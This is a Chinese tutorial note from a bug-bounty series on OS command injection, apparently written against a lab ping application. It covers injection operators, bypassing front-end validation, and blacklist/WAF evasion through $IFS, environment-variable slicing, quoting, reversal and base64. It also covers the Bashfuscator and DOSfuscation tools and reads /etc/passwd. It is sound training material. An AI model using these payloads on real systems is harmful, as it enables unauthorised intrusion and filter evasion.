【Bug Bounty Hunter】第十章-命令注入
【Bug Bounty Hunter】笔记系列
0x00 命令注入利用过程
1. 漏洞检测
1.1 命令注入检测
下图展示了一个Web应用程序(Host Checker),当输入IP地址之后点击Check
,会显示ping
命令的输出。
想要检测命令注入漏洞,我们可以使用以下任何一个运算符:
注入操作 | 注入字符 | URL编码字符 | 执行命令 |
---|---|---|---|
分号 | ; | %3b | 全部执行 |
换行 | \n |
%0a | 全部执行 |
后台运行 | & | %26 | 全部执行(第二个输出一般先显示) |
管道 | | |
%7c | 全部执行(只显示第二个输出) |
且 | && | %26%26 | 全部执行(仅当第一种方法成功时) |
或 | || |
%7c%7c | 第二个执行(仅当第一次失败的时候) |
子shell | `` | %60%60 | 全部执行(只有linux适配) |
子shell | $() | %24%28%29 | 全部执行(只有linux适配) |
注意:唯一的例外可能是分号;,如果命令是在Windows命令行(CMD)中执行,则不起作用,但如果在Windows PowerShell中执行,则仍然有效。
2. 命令注入
2.1 注入我们的命令
我们正常输入127.0.0.1,会显示Ping命令返回的结果。如果我们在127.0.0.1后加上一个分号,然后附加我们的命令(例如whoami),这样最终输入的内容为:127.0.0.1; whoami
,要执行的最终命令将是:
1 | d4rk30@linux$ ping -c 1 127.0.0.1; whoami |
我们尝试在程序中输入我们的Payload:
正如图上所示,Web应用程序拒绝了我们的输入,因为它似乎只接受IP格式的输入。然而从错误消息的提示样式来看,这种格式校验处理应该来自于前端。
2.2 绕过前端验证
这样我们就可以通过手动构造请求,而绕过前端的限制。我们可以启动Burp Suite或ZAP,并配置Firefox通过它们代理流量,然后我们可以启用代理拦截功能。
现在我们可以自定义HTTP请求并发送,首先我们将使用与之前相同的输入127.0.0.1; whoami
。然后对Payload进行URL编码,以确保它能按照我们的想法发送请求。我们可以选择有效载荷,然后点击CTRL + U
。最后,我们可以点击Send来发送HTTP请求:
3. 其他注入操作
以下这些操作符可以用于各种注入类型,如SQL注入、LDAP注入、XSS、SSRF、XML等。我们已经创建了一个包含最常用操作符的列表,可用于注入攻击:
注入类型 | 操作符 |
---|---|
SQL注入 | ' , ; -- /* */ |
命令注入 | ; && |
LADP注入 | * ( ) & | |
XPath注入 | ' or and not substring concat count |
系统命令注入 | ; & | |
代码注入 | ' ; – /* */ $() ${} #{} %{} ^ |
目录遍历/文件路径遍历 | ../ ..\\ %00 |
对象注入 | ; & | |
XQuery注入 | ' ; – /* */ |
Shellcode注入 | \x \u %u %n |
Header注入 | \n \r \n \t %0d %0a %09 |
这张表格实际上并不完整的,还有许多其他选项和运算符是可能被利用的。
0x01 过滤器绕过
1. 识别过滤器
1.1 过滤器/WAF检测
本节依然有同样的Host Checker应用程序,但现在它有一些缓解措施。我们可以看到,如果我们尝试之前测试过的操作符,比如;, &&, ||
,我们会收到无效输入的错误消息:
让我们检查我们发送的有效载荷,除了我们知道没有被列入黑名单的IP地址之外,我们还发送了:
- 一个分号字符
- 一个空格字符
- 一个whoami命令
因此,Web应用程序检测到黑名单字符或检测到黑名单命令,或两者都有。让我们看看如何绕过每个限制。
1.2 识别被列入黑名单的字符
我们可以每次只请求一个字符,看看什么时候会被阻止。
2. 绕过空格过滤器
2.1 绕过黑名单空格
空格是一个常见的被列入黑名单的字符,特别是如果输入不应该包含任何空格,比如IP地址。尽管如此,仍然有许多方法可以添加空格字符,而不实际使用空格字符!
2.2 使用制表符
使用制表符%09
而不是空格是一种可能有效的技术,因为Linux和Windows都接受在参数之间使用制表符的命令,并且它们执行的方式相同。
2.3 使用$IFS
使用$IFS Linux环境变量也可以工作,因为它的默认值是一个空格和一个制表符,这在命令参数之间可以工作。因此,如果我们在应该有空格的地方使用${IFS}
,变量应该会自动替换为空格,我们的命令应该可以工作。
2.4 使用花括号扩展
我们可以利用许多其他方法来绕过空格过滤器。例如,我们可以使用Bash大括号扩展功能,它会自动在大括号包裹的参数之间添加空格,如下所示:
1 | d4rk30@linux$ {ls,-la} |
发现更多的空格过滤器绕过方法,请查看PayloadsAllTheThings页面上关于不使用空格编写命令的内容。
3. 绕过其他黑名单字符
除了注入运算符和空格字符外,斜杠/
或\
字符也是非常常见的被列入黑名单的字符,因为在Linux或Windows中需要指定目录。我们可以利用几种技术来产生任何我们想要的字符,同时避免使用被列入黑名单的字符。
3.1 Linux
我们可以使用一种称为Linux环境变量的技术来替换斜杠(或任何其他字符),就像我们使用${IFS}一样。
例如,如果我们查看Linux中的$PATH
环境变量,它可能看起来像以下内容:
1 | d4rk30@linux$ echo ${PATH} |
因此,如果我们从第0个字符开始,只取长度为1的字符串,我们最终只会得到斜杠字符/
。
1 | d4rk30@linux$ echo ${PATH:0:1} |
我们也可以使用$HOME
或$PWD
环境变量来实现同样的效果。我们也可以使用相同的概念来获取分号字符,用作注入操作符。
3.2 Windows
相同的概念也适用于Windows。例如,在Windows命令行(CMD)中生成斜杠:
1 | C:\windows> echo %HOMEPATH:~6,-11% |
我们可以使用Windows PowerShell中的相同变量来实现相同的事情。在PowerShell中,一个单词被认为是一个数组,因此我们必须指定我们需要的字符的索引。
1 | C:\windows> $env:HOMEPATH[0] |
我们还可以使用Get-ChildItem Env:
PowerShell命令来打印所有环境变量,然后选择其中一个来生成我们需要的字符。
3.3 字符转换
有其他的技巧可以在不使用它们的情况下生成所需的字符,比如字符移位。例如,下面的Linux命令将我们传递的字符向右移动1个位置。因此,我们只需要在ASCII表中找到我们所需字符的前一个字符(可以使用man ascii
获取),然后将其添加到下面的示例中,而不是[。这样,最后打印的字符就是我们所需的字符:
1 | d4rk30@linux$ man ascii # \ is on 92, before it is [ on 91 |
使用PowerShell命令在Windows中实现相同的结果,尽管它们可能比Linux命令更长。
4. 绕过黑名单命令
我们已经了解绕过单字符过滤器的各种方法。然而,当涉及绕过黑名单命令时,有不同的方法。命令黑名单通常由一组单词组成,如果我们可以混淆我们的命令并使它们看起来不同,我们可能能够绕过过滤器。
4.1 Linux & Windows通用混淆技术
一种常见且简单的混淆技术是在Bash或PowerShell这样的命令行插入某些字符,这些字符通常会被忽略,常用一些字符是单引号'
和双引号"
,还有一些其他字符。例如,如果我们想混淆whoami命令,我们可以在其字符之间插入单引号,如下所示:
1 | d4rk30@linux$ w'h'o'am'i |
同样适用于双引号:
1 | d4rk30@linux$ w"h"o"am"i |
4.2 仅限Linux的混淆
我们可以在命令中间插入一些仅适用于Linux的特殊字符,bash shell会忽略它们并执行命令。这些字符包括反斜杠\
和位置参数字符$@
。
1 | d4rk30@linux$ who$@ami |
4.3 仅限Windows的混淆
还有一些仅适用于Windows的字符,我们可以在命令中间插入,而不会影响结果,比如插入一个插入符^
,就像我们在下面的例子中看到的那样:
1 | C:\windows> who^ami |
5. 高级命令混淆
5.1 大小写转换
在Windows中,PowerShell和CMD的命令是不区分大小写的,这意味着无论命令以何种大小写形式编写,它们都将执行该命令:
1 | C:\windows> whOaMi |
当涉及到Linux和bash shell时,它们是区分大小写的,我们必须有点创意,找到一个将命令转换为全小写单词的命令。我们可以使用的以下命令:
1 | d4rk30@linux$ $(tr "[A-Z]" "[a-z]"<<<"WhOaMi") |
1 | d4rk30@linux$ $(a="WhOaMi";printf %s "${a,,}") |
5.2 反转命令
另一种命令混淆技术是反转命令,在这种情况下,我们将编写imaohw而不是whoami,以避免触发被列入黑名单的命令。首先,我们需要在终端中获取我们命令的反转字符串,如下所示:
1 | d4rk30@linux$ echo 'whoami' | rev |
然后,我们可以通过在子shell($()
)中将其反转来执行原始命令,如下所示:
1 | d4rk30@linux$ $(rev<<<'imaohw') |
同样的方法也可以应用在Windows上。我们可以先将字符串反转,如下所示:
1 | C:\windows> "whoami"[-1..-20] -join '' |
现在我们可以使用以下命令在PowerShell子shell(iex "$()"
)中执行反转字符串,如下所示:
1 | C:\windows> iex "$('imaohw'[-1..-20] -join '')" |
5.3 编码命令
我们可以使用各种编码工具,例如base64(用于b64编码)或xxd(用于十六进制编码)。让我们以base64为例。首先,我们将对要执行的有效载荷进行编码:
1 | d4rk30@linux$ echo -n 'cat /etc/passwd | grep 33' | base64 |
现在我们可以创建一个命令,在子shell中解码编码的字符串,然后将其传递给bash执行,如下所示:
1 | d4rk30@linux$ bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) |
在Windows中也使用相同的技术。首先,我们需要将字符串进行base64编码,如下所示:
1 | C:\windows> [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) |
1 | C:\windows> iex "$('imaohw'[-1..-20] -join '')" |
6. 使用工具生成绕过命令
本节我们提供一种使用工具生成绕过命令的方法。
6.1 Linux平台工具-Bashfuscator
我们可以利用 Bashfuscator 这个方便的工具来混淆 bash 命令。我们可以从 GitHub 克隆存储库,然后安装其要求,如下所示:
1 | d4rk30@linux$ git clone https://github.com/Bashfuscator/Bashfuscator |
一旦我们设置好工具,我们可以从./bashfuscator/bin/
目录开始使用它。我们可以使用许多标志来微调我们最终混淆的命令,正如我们在-h帮助菜单中看到的那样:
1 | d4rk30@linux$ cd ./bashfuscator/bin/ |
我们可以通过简单地使用-c标志来提供我们想要混淆的命令:
1 | d4rk30@linux$ ./bashfuscator -c 'cat /etc/passwd' |
以这种方式运行工具将随机选择一种混淆技术,其输出的命令长度可以从几百个字符到超过一百万个字符不等!因此,我们可以使用帮助菜单中的一些标志来生成更短、更简单的混淆命令,如下所示:
1 | d4rk30@linux$ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 |
我们现在可以使用bash -c ''
来测试输出的命令,以查看它是否执行了预期的命令:
1 | d4rk30@linux$ bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"' |
6.2 Windows平台工具-DOSfuscation
还有一个非常类似的工具,我们可以用于Windows,叫做DOSfuscation。与Bashfuscator不同,这是一个交互式工具,我们只需运行一次并与其交互,即可获得所需的混淆命令。我们可以再次从GitHub克隆该工具,然后通过PowerShell调用它,如下所示:
1 | PS C:\windows> git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git |
一旦我们准备好了,就可以按照以下步骤开始使用这个工具:
1 | Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt |
最后,我们可以尝试在CMD上运行混淆命令,我们看到它确实按预期工作:
1 | PS C:\windows> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt |